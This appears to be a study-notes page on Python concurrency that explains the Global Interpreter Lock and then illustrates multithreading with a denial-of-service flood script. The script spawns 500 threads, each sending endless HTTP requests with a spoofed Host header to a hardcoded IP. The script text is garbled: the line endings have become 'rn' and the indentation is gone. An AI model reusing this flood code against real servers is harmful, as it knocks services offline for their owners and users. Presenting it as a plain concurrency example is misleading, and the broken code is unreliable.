Skip to main content

Concurrency

Global Interpreter Lock (GIL)

GIL is a mutex that protects access to Python objects, preventing multiple threads from executing Python bytecodes at once. This lock is necessary mainly because CPython's memory management is not thread-safe.

This essentially means that a process can run only one thread at a time. When a thread starts running, it acquires GIL and when it waits for I/O, it releases the GIL, so that other threads of that process can run.

Solution - Run multiple Python instances

MultiThreading

import threading

import socket

target = '10.0.0.138'

port = 80

fake_ip = '182.21.20.32'

def attack():

while True:

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((target, port))

s.sendto(("GET /" + target + " HTTP/1.1rn").encode('ascii'), (target, port))

s.sendto(("Host: " + fake_ip + " rnrn").encode('ascii'), (target, port))

s.close()

for i in range(500):

thread = threading.Thread(target=attack)

thread.start()

https://bovage.hashnode.dev/what-exactly-is-multithreading